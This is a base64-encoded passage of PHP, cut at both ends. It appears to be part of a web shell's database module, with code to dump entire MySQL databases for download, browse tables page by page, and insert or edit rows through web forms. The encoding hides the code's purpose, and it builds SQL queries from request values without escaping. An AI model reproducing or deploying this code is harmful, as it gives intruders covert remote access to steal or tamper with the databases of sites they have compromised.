ICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAg
ICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkaXBsYXkgPSB0cnVlOw0KICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICRzZXQgPSBhcnJheSgpOw0KICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICRzZXRbInNvY2siXSA9ICRzcWxfc29jazsNCiAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAkc2V0WyJkYiJdID0gJHNxbF9kYjsNCiAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAkZHVtcF9vdXQgPSAiZG93bmxvYWQiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICRzZXRbInByaW50Il0gPSAwOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzZXRbIm5s
MmJyIl0gPSAwOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzZXRbIiJdID0gMDsNCiAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAkc2V0WyJmaWxlIl0gPSAkZHVtcF9maWxlOw0KICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICRzZXRbImFkZF9kcm9wIl0gPSB0cnVlOw0KICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICRzZXRbIm9ubHl0YWJzIl0gPSBhcnJheSgpOw0KICAgICAg
ICAgICAgICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJGRtcHRibHMpKQ0KICAgICAgICAgICAg
ICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNldFsi
b25seXRhYnMiXSA9IGV4cGxvZGUoIjsiLCAkZG1wdGJscyk7DQogICAgICAgICAgICAgICAgICAg
ICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXQgPSBteXNxbF9kdW1w
KCRzZXQpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkc3FsX2R1bXBfZG93bmxv
YWQpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICBAb2JfY2xlYW4oKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
aGVhZGVyKCJDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIpOw0KICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtbGVuZ3RoOiAiIC4gc3Ry
bGVuKCRyZXQpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaGVhZGVyKCJDb250
ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiIgLiBiYXNlbmFtZSgkc3Fs
X2R1bXBfZmlsZSkgLiAiXCI7Iik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVj
aG8gJHJldDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZXhpdDsNCiAgICAgICAg
ICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlm
ICgkc3FsX2R1bXBfc2F2ZXRvZmlsZSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQog
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmcCA9IGZvcGVuKCRzcWxfZHVtcF9maWxl
LCAidyIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoISRmcCkNCiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgZWNobyAiPGI+RHVtcCBlcnJvciEgQ2FuJ3Qgd3JpdGUgdG8gXCIiIC4gaHRtbHNw
ZWNpYWxjaGFycygkc3FsX2R1bXBfZmlsZSkgLiAiXCIhIjsNCiAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlDQogICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgIGZ3cml0ZSgkZnAsICRyZXQpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgZmNsb3NlKCRmcCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICBlY2hvICI8Yj5EdW1wZWQhIER1bXAgaGFzIGJlZW4gd3JpdGVkIHRvIFwiIiAuIGh0bWxzcGVj
aWFsY2hhcnMocmVhbHBhdGgoJHNxbF9kdW1wX2ZpbGUpKSAuICJcIiAoIiAuIHZpZXdfc2l6ZShm
aWxlc2l6ZSgkc3FsX2R1bXBfZmlsZSkpIC4gIik8L2I+LiI7DQogICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGI+RHVtcDogbm90aGluZyB0byBk
byE8L2I+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAg
ICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgaWYg
KCRkaXBsYXkpDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAg
IGlmICghZW1wdHkoJHNxbF90YmwpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAg
ICAgICAgICAgICAgICAgICAgICAgIGlmIChlbXB0eSgkc3FsX3RibF9hY3QpKQ0KICAgICAgICAg
ICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNx
bF90YmxfYWN0ID0gImJyb3dzZSI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICRjb3VudCA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgQ09V
TlQoKikgRlJPTSBgIiAuICRzcWxfdGJsIC4gImA7Iik7DQogICAgICAgICAgICAgICAgICAgICAg
ICAgICAgJGNvdW50X3JvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRjb3VudCk7DQogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgbXlzcWxfZnJlZV9yZXN1bHQoJGNvdW50KTsNCiAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAkdGJsX3N0cnVjdF9yZXN1bHQgPSBteXNxbF9xdWVyeSgiU0hPVyBG
SUVMRFMgRlJPTSBgIiAuICRzcWxfdGJsIC4gImA7Iik7DQogICAgICAgICAgICAgICAgICAgICAg
ICAgICAgJHRibF9zdHJ1Y3RfZmllbGRzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICAgICAgICAg
ICAgICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2Fzc29jKCR0Ymxfc3RydWN0X3Jlc3Vs
dCkpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAkdGJsX3N0cnVjdF9maWVsZHNbXSA9ICRyb3c7DQogICAgICAgICAgICAgICAg
ICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkc3FsX2xzID4g
JHNxbF9sZSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICRzcWxfbGUgPSAkc3FsX2xzICsgJHBlcnBhZ2U7DQogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChlbXB0
eSgkc3FsX3RibF9wYWdlKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICRzcWxfdGJsX3BhZ2UgPSAwOw0KICAgICAgICAgICAg
ICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoZW1wdHko
JHNxbF90YmxfbHMpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgJHNxbF90YmxfbHMgPSAwOw0KICAgICAgICAgICAgICAgICAg
ICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoZW1wdHkoJHNxbF90
YmxfbGUpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgJHNxbF90YmxfbGUgPSAzMDsNCiAgICAgICAgICAgICAgICAgICAgICAg
ICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBlcnBhZ2UgPSAkc3FsX3RibF9s
ZSAtICRzcWxfdGJsX2xzOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICghaXNfbnVt
ZXJpYygkcGVycGFnZSkpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkcGVycGFnZSA9IDEwOw0KICAgICAgICAgICAgICAgICAg
ICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbnVtcGFnZXMgPSAkY291
bnRfcm93WzBdIC8gJHBlcnBhZ2U7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGUgPSBl
eHBsb2RlKCIgIiwgJHNxbF9vcmRlcik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYg
KGNvdW50KCRlKSA9PSAyKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRlWzBdID09ICJkIikNCiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGFzY19kZXNjID0gIkRFU0MiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQog
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFzY19k
ZXNjID0gIkFTQyI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgJHYgPSAiT1JERVIgQlkgYCIgLiAkZVsxXSAuICJgICIg
LiAkYXNjX2Rlc2MgLiAiICI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAg
ICAgICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7
DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR2ID0gIiI7DQogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRxdWVyeSA9ICJT
RUxFQ1QgKiBGUk9NIGAiIC4gJHNxbF90YmwgLiAiYCAiIC4gJHYgLiAiTElNSVQgIiAuICRzcWxf
dGJsX2xzIC4gIiAsICIgLiAkcGVycGFnZSAuICIiOw0KICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgkcXVlcnkpIG9yIHByaW50IChteXNxbF9zbWFydGVy
cm9yKCkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxociBzaXplPVwiMVwi
IG5vc2hhZGU+PGNlbnRlcj48Yj5UYWJsZSAiIC4gaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibCkg
LiAiICgiIC4gbXlzcWxfbnVtX2ZpZWxkcygkcmVzdWx0KSAuICIgY29scyBhbmQgIiAuICRjb3Vu
dF9yb3dbMF0gLiAiIHJvd3MpPC9iPjwvY2VudGVyPiI7DQogICAgICAgICAgICAgICAgICAgICAg
ICAgICAgZWNobyAiPGEgaHJlZj1cIiIgLiAkc3FsX3N1cmwgLiAic3FsX3RibD0iIC4gdXJsZW5j
b2RlKCRzcWxfdGJsKSAuICImc3FsX3RibF9hY3Q9c3RydWN0dXJlXCI+WyZuYnNwOzxiPlN0cnVj
dHVyZTwvYj4mbmJzcDtdPC9hPiZuYnNwOyZuYnNwOyZuYnNwOyI7DQogICAgICAgICAgICAgICAg
ICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIiIgLiAkc3FsX3N1cmwgLiAic3FsX3RibD0iIC4g
dXJsZW5jb2RlKCRzcWxfdGJsKSAuICImc3FsX3RibF9hY3Q9YnJvd3NlXCI+WyZuYnNwOzxiPkJy
b3dzZTwvYj4mbmJzcDtdPC9hPiZuYnNwOyZuYnNwOyZuYnNwOyI7DQogICAgICAgICAgICAgICAg
ICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIiIgLiAkc3FsX3N1cmwgLiAic3FsX3RibD0iIC4g
dXJsZW5jb2RlKCRzcWxfdGJsKSAuICImc3FsX2FjdD10YmxkdW1wJnRoaXN0Ymw9MVwiPlsmbmJz
cDs8Yj5EdW1wPC9iPiZuYnNwO108L2E+Jm5ic3A7Jm5ic3A7Jm5ic3A7IjsNCiAgICAgICAgICAg
ICAgICAgICAgICAgICAgICBlY2hvICI8YSBocmVmPVwiIiAuICRzcWxfc3VybCAuICJzcWxfdGJs
PSIgLiB1cmxlbmNvZGUoJHNxbF90YmwpIC4gIiZzcWxfdGJsX2FjdD1pbnNlcnRcIj5bJm5ic3A7
PGI+SW5zZXJ0PC9iPiZuYnNwO108L2E+Jm5ic3A7Jm5ic3A7Jm5ic3A7IjsNCiAgICAgICAgICAg
ICAgICAgICAgICAgICAgICBpZiAoJHNxbF90YmxfYWN0ID09ICJzdHJ1Y3R1cmUiKQ0KICAgICAg
ICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ZWNobyAiPGJyPjxicj48Yj5Db21pbmcgc29vb24hPC9iPiI7DQogICAgICAgICAgICAgICAgICAg
ICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkc3FsX3RibF9hY3Qg
PT0gImluc2VydCIpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBpZiAoIWlzX2FycmF5KCRzcWxfdGJsX2luc2VydCkpDQogICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICRzcWxfdGJsX2luc2VydCA9IGFycmF5KCk7DQogICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFlbXB0
eSgkc3FsX3RibF9pbnNlcnRfcmFkaW8pKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQog
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8YnI+PGJyPjxiPkluc2Vy
dGluZyByb3cgaW50byB0YWJsZTo8L2I+PGJyPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICBpZiAoIWVtcHR5KCRzcWxfdGJsX2luc2VydF9xKSkNCiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAkc3FsX3F1ZXJ5ID0gIlNFTEVDVCAqIEZST00gYCIgLiAkc3FsX3RibCAuICJgIjsN
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3FsX3F1ZXJ5IC49ICIg
V0hFUkUiIC4gJHNxbF90YmxfaW5zZXJ0X3E7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgJHNxbF9xdWVyeSAuPSAiIExJTUlUIDE7IjsNCiAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHNxbF9xdWVyeSwg
JHNxbF9zb2NrKSBvciBwcmludCAoIjxicj48YnI+IiAuIG15c3FsX3NtYXJ0ZXJyb3IoKSk7DQog
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHZhbHVlcyA9IG15c3FsX2Zl
dGNoX2Fzc29jKCRyZXN1bHQpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOw0KICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQ0K
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICR2YWx1ZXMgPSBhcnJheSgpOw0KICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgZWNobyAiPGZvcm0gbWV0aG9kPVwiUE9TVFwiPjxUQUJMRSBjZWxsU3BhY2luZz0wIGJvcmRl
ckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgd2lkdGg9XCIxJVwiIGJnQ29sb3I9IzMz
MzMzMyBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTE+PHRyPjx0ZD48Yj5GaWVsZDwv
Yj48L3RkPjx0ZD48Yj5UeXBlPC9iPjwvdGQ+PHRkPjxiPkZ1bmN0aW9uPC9iPjwvdGQ+PHRkPjxi
PlZhbHVlPC9iPjwvdGQ+PC90cj4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgZm9yZWFjaCAoJHRibF9zdHJ1Y3RfZmllbGRzIGFzICRmaWVsZCkNCiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAkbmFtZSA9ICRmaWVsZFsiRmllbGQiXTsNCiAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICBpZiAoZW1wdHkoJHNxbF90YmxfaW5zZXJ0X3EpKQ0KICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgJHYgPSAiIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ZWNobyAiPHRyPjx0ZD48Yj4iIC4gaHRtbHNwZWNpYWxjaGFycygkbmFtZSkgLiAiPC9iPjwvdGQ+
PHRkPiIgLiAkZmllbGRbIlR5cGUiXSAuICI8L3RkPjx0ZD48c2VsZWN0IG5hbWU9XCJzcWxfdGJs
X2luc2VydF9mdW5jdHNbIiAuIGh0bWxzcGVjaWFsY2hhcnMoJG5hbWUpIC4gIl1cIj48b3B0aW9u
IHZhbHVlPVwiXCI+PC9vcHRpb24+PG9wdGlvbj5QQVNTV09SRDwvb3B0aW9uPjxvcHRpb24+TUQ1
PC9vcHRpb24+PG9wdGlvbj5FTkNSWVBUPC9vcHRpb24+PG9wdGlvbj5BU0NJSTwvb3B0aW9uPjxv
cHRpb24+Q0hBUjwvb3B0aW9uPjxvcHRpb24+UkFORDwvb3B0aW9uPjxvcHRpb24+TEFTVF9JTlNF
UlRfSUQ8L29wdGlvbj48b3B0aW9uPkNPVU5UPC9vcHRpb24+PG9wdGlvbj5BVkc8L29wdGlvbj48
b3B0aW9uPlNVTTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCJcIj4tLS0tLS0tLTwvb3B0aW9uPjxv
cHRpb24+U09VTkRFWDwvb3B0aW9uPjxvcHRpb24+TENBU0U8L29wdGlvbj48b3B0aW9uPlVDQVNF
PC9vcHRpb24+PG9wdGlvbj5OT1c8L29wdGlvbj48b3B0aW9uPkNVUkRBVEU8L29wdGlvbj48b3B0
aW9uPkNVUlRJTUU8L29wdGlvbj48b3B0aW9uPkZST01fREFZUzwvb3B0aW9uPjxvcHRpb24+RlJP
TV9VTklYVElNRTwvb3B0aW9uPjxvcHRpb24+UEVSSU9EX0FERDwvb3B0aW9uPjxvcHRpb24+UEVS
SU9EX0RJRkY8L29wdGlvbj48b3B0aW9uPlRPX0RBWVM8L29wdGlvbj48b3B0aW9uPlVOSVhfVElN
RVNUQU1QPC9vcHRpb24+PG9wdGlvbj5VU0VSPC9vcHRpb24+PG9wdGlvbj5XRUVLREFZPC9vcHRp
b24+PG9wdGlvbj5DT05DQVQ8L29wdGlvbj48L3NlbGVjdD48L3RkPjx0ZD48aW5wdXQgdHlwZT1c
InRleHRcIiBuYW1lPVwic3FsX3RibF9pbnNlcnRbIiAuIGh0bWxzcGVjaWFsY2hhcnMoJG5hbWUp
IC4gIl1cIiB2YWx1ZT1cIiIgLiBodG1sc3BlY2lhbGNoYXJzKCR2YWx1ZXNbJG5hbWVdKSAuICJc
IiBzaXplPTUwPjwvdGQ+PC90cj4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICRpKys7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8L3RhYmxlPjxicj4iOw0KICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGlucHV0IHR5cGU9XCJyYWRp
b1wiIG5hbWU9XCJzcWxfdGJsX2luc2VydF9yYWRpb1wiIHZhbHVlPVwiMVwiIjsNCiAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChlbXB0eSgkc3FsX3RibF9pbnNlcnRfcSkp
DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiIGNoZWNrZWQiOw0KICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgZWNobyAiPjxiPkluc2VydCBhcyBuZXcgcm93PC9iPiI7DQogICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRzcWxfdGJsX2luc2VydF9xKSkNCiAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBlY2hvICIgb3IgPGlucHV0IHR5cGU9XCJyYWRpb1wiIG5hbWU9XCJzcWxf
dGJsX2luc2VydF9yYWRpb1wiIHZhbHVlPVwiMlwiIGNoZWNrZWQ+PGI+U2F2ZTwvYj4iOw0KICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxpbnB1dCB0eXBlPVwi
aGlkZGVuXCIgbmFtZT1cInNxbF90YmxfaW5zZXJ0X3FcIiB2YWx1ZT1cIiIgLiBodG1sc3BlY2lh
bGNoYXJzKCRzcWxfdGJsX2luc2VydF9xKSAuICJcIj4iOw0KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNo
byAiPGJyPjxicj48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiQ29uZmlybVwiPjwvZm9y
bT4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAg
ICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkc3FsX3RibF9h
Y3QgPT0gImJyb3dzZSIpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc3FsX3RibF9scyA9IGFicygkc3FsX3RibF9scyk7DQog
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWxfdGJsX2xlID0gYWJzKCRzcWxfdGJs
X2xlKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGhyIHNpemU9XCIx
XCIgbm9zaGFkZT4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8aW1n
IHNyYz1cIiIgLiAkc3VybCAuICJhY3Q9aW1nJmltZz1tdWx0aXBhZ2VcIiBoZWlnaHQ9XCIxMlwi
IHdpZHRoPVwiMTBcIiBhbHQ9XCJQYWdlc1wiPiZuYnNwOyI7DQogICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICRiID0gMDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9y
ICgkaSA9IDA7JGkgPCAkbnVtcGFnZXM7JGkrKykNCiAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCgkaSAqICRw
ZXJwYWdlICE9ICRzcWxfdGJsX2xzKSBvciAoJGkgKiAkcGVycGFnZSArICRwZXJwYWdlICE9ICRz
cWxfdGJsX2xlKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8YSBocmVmPVwiIiAuICRz
cWxfc3VybCAuICJzcWxfdGJsPSIgLiB1cmxlbmNvZGUoJHNxbF90YmwpIC4gIiZzcWxfb3JkZXI9
IiAuIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9vcmRlcikgLiAiJnNxbF90YmxfbHM9IiAuICgkaSAq
ICRwZXJwYWdlKSAuICImc3FsX3RibF9sZT0iIC4gKCRpICogJHBlcnBhZ2UgKyAkcGVycGFnZSkg
LiAiXCI+PHU+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJGk7DQogICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBpZiAoKCRpICogJHBlcnBhZ2UgIT0gJHNxbF90YmxfbHMpIG9y
ICgkaSAqICRwZXJwYWdlICsgJHBlcnBhZ2UgIT0gJHNxbF90YmxfbGUpKQ0KICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgIGVjaG8gIjwvdT48L2E+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgoJGkgLyAz
MCA9PSByb3VuZCgkaSAvIDMwKSkgYW5kICgkaSA+IDApKQ0KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGVjaG8gIjxicj4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGVjaG8gIiZuYnNwOyI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9
DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgaWYgKCRpID09IDApDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
IHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gImVtcHR5IjsNCiAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICBlY2hvICI8Zm9ybSBtZXRob2Q9XCJHRVRcIj48aW5wdXQgdHlwZT1cImhpZGRlblwi
IG5hbWU9XCJhY3RcIiB2YWx1ZT1cInNxbFwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1c
InNxbF9kYlwiIHZhbHVlPVwiIiAuIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYikgLiAiXCI+PGlu
cHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2xvZ2luXCIgdmFsdWU9XCIiIC4gaHRtbHNw
